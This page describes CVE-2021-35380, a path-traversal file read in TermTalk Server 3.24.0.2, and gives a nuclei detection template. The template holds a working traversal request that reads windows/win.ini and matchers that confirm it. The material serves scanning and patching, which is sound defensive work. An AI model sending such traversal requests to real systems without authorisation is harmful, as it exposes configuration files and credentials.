TermTalk Server 3.24.0.2 - Local File Inclusion

highseverity

7.5CVSS score

36.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.

Fix

Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.

How to confirm it

Send: GET {{BaseURL}}/file?valore=../../../../../windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2021-35380 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-35380

info:
  name: TermTalk Server 3.24.0.2 - Local File Inclusion
  author: fxploit
  severity: high
  description: |
    TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
  reference:
    - https://www.swascan.com/solari-di-udine/
    - https://www.exploit-db.com/exploits/50638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35380
    - https://www.swascan.com/it/security-blog/
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-35380
    cwe-id: CWE-22
    epss-score: 0.36738
    epss-percentile: 0.98515
    cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: solari
    product: termtalk_server
  tags: cve2021,cve,termtalk,lfi,unauth,lfr,edb,solari,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/file?valore=../../../../../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from